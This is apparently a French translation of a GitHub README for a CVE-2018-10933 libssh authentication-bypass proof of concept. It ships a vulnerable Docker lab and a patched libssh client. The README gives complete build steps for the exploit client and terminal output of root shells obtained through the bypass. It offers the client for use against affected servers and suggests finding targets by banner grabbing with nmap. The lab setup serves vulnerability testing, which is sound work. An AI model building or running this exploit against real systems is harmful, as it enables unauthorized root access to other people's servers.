hackerhouse-opensource/cve-2018-10933cve-2018-10933 libssh authentication bypass
CVE-2018-10933 contournement d'authentification libssh, un conteneur Docker vulnérable qui écoute sur le port 2222 pour exploitation. Un correctif libssh de preuve de concept de base inclus dans le conteneur pour contourner l'authentification. Pour vous connecter, utilisez le "myuser" / "mypassword" par défaut de libssh. Un correctif est appliqué à une copie de libssh dans le conteneur Docker qui injecte un paquet SSH2_MSG_USERAUTH_SUCCESS lors de toute tentative d'authentification (keyboard-interactive / pubkey / gss-api, etc.) et définit l'état du côté client pour continuer. Le serveur inclus a été corrigé à partir d'un code d'exemple pour permettre à l'exploitation de réussir.
./build.sh
./run.sh
ssh -l myuser -p 2222 localhost
Un exploit-libssh-0.8.3 corrigé et un sshd vulnérable sont disponibles dans le conteneur à des fins de test. Le 'ssh-client' contournera avec succès l'authentification mais ne pourra pas générer un shell sur le serveur d'exemple par défaut en raison de vérifications d'authentification supplémentaires dans le code du serveur.
[root@305b48cb932e ]# cd /root/exploit-libssh-0.8.3/build/examples
[root@305b48cb932e examples]# ./ssh-client -l root 127.0.0.1
The server is unknown. Do you trust the host key (yes/no)?
SHA256:Mg6j2yHWMsRe56ABhAYjLIJK9yD2N3lGQAl3EfGqP7w
yes
This new key will be written on disk for further usage. do you agree ?
yes
Requesting shell : Channel request shell failed
[root@305b48cb932e examples]#
D'après l'avis "un client malveillant pourrait créer des canaux sans effectuer d'abord l'authentification, entraînant un accès non autorisé."
La sortie de débogage libssh suivante montre que l'authentification a réussi sur le serveur et qu'un canal de session a été créé. L'hôte est maintenant authentifié mais des vérifications supplémentaires côté serveur empêchent l'exécution de commandes. Un attaquant pourrait encore tenter de tunneler/transiter des connexions via le service.
[2018/10/19 01:26:24.929187, 3] ssh_packet_process: Dispatching handler for packet type 52
[2018/10/19 01:26:24.929228, 3] ssh_packet_userauth_success: Authentication successful
[2018/10/19 01:26:24.971901, 3] ssh_packet_socket_callback: packet: read type 90 [len=44,padding=19,comp=24,payload=24]
[2018/10/19 01:26:24.971984, 3] ssh_packet_process: Dispatching handler for packet type 90
[2018/10/19 01:26:24.972012, 3] ssh_packet_channel_open: Clients wants to open a session channel
[2018/10/19 01:26:24.972057, 3] ssh_message_channel_request_open_reply_accept_channel: Accepting a channel request_open for chan 43
[2018/10/19 01:26:24.972193, 3] ssh_socket_unbuffered_write: Enabling POLLOUT for socket
[2018/10/19 01:26:24.972233, 3] packet_send2: packet: wrote [len=28,padding=10,comp=17,payload=17]
Les tentatives de lancement de shells / exec ou pty aboutissent à une session réussie mais génèrent des erreurs sur le serveur d'exemple en raison de vérifications supplémentaires sur l'état d'authentification de l'utilisateur. Les erreurs suivantes sont affichées sur le serveur d'exemple.
[2018/10/19 03:33:56.539864, 3] ssh_message_handle_channel_request: Received a shell channel_request for channel (43:0) (want_reply=1)
[2018/10/19 03:33:56.539899, 3] ssh_message_channel_request_reply_default: Sending a default channel_request denied to channel 0
Il est encore possible que des serveurs libssh sur mesure puissent potentiellement aboutir à une exécution de code arbitraire, mais la majorité peut seulement permettre le tunneling ou une certaine mauvaise utilisation du protocole SSH. En supprimant la vérification d'authentification supplémentaire, le serveur est maintenant vulnérable à l'exploit de contournement d'authentification. Il est possible qu'une implémentation libssh côté serveur introduise cette vulnérabilité. Exemple d'exploitation réussie utilisant libssh corrigé ci-dessous.
[root@3a184714fd21]# cd /root/exploit-libssh-0.8.3/build/examples
[root@3a184714fd21 examples]# ./ssh-client -l root 127.0.0.1
The server is unknown. Do you trust the host key (yes/no)?
SHA256:DyYf8l6tjNc0kyUe5uE/Rt8vHI1SuhsVGbzOonzPlaY
yes
This new key will be written on disk for further usage. do you agree ?
yes
[root@3a184714fd21 /]# id
uid=0(root) gid=0(root) groups=0(root)
Le conteneur Docker exécutera l'exemple vulnérable "ssh_server_fork" par défaut, l'original se trouve dans le répertoire "libssh-0.8.3" pour des fins de test/débogage.
Les fournisseurs suivants semblent être pratiquement impactés par cette faille en raison de leur utilisation de libssh.
libssh est installé localement sur un certain nombre de distributions *BSD et Linux, utilisé par ffmpeg (?), hydra et un petit nombre de paquets FOSS.
Vous pouvez construire un client libssh corrigé à partir de ce dépôt pour une utilisation d'exploitation.
git clone https://github.com/hackerhouse-opensource/cve-2018-10933
cd cve-2018-10933
xz -d libssh-0.8.3.tar.xz
tar -xvf libssh-0.8.3.tar
cd libssh-0.8.3
patch -p0 < ../cve-2018-10933.patch
mkdir build
cd build
cmake ..
make
Vous pouvez ensuite utiliser "ssh-client" et tous les exemples pour contourner l'authentification sur les implémentations de serveur libssh affectées.
$ ./ssh-client -l root 127.0.0.1 -p 2222
[root@8fec78903da2 /]# id
uid=0(root) gid=0(root) groups=0(root)
Le balayage des hôtes potentiellement vulnérables peut être effectué simplement en faisant un banner grabbing régulier sur les ports SSH affectés (par exemple nmap).
SSH-2.0-libssh_0.8.3
L'avis original se trouve dans CVE-2018-10933.txt, vulnérabilité trouvée par Peter Winter Smith. Le conteneur Docker vulnérable et le correctif d'exploit libssh publiés par Hacker House (https://hacker.house).
Ces fichiers sont disponibles sous la licence BSD à 3 clauses.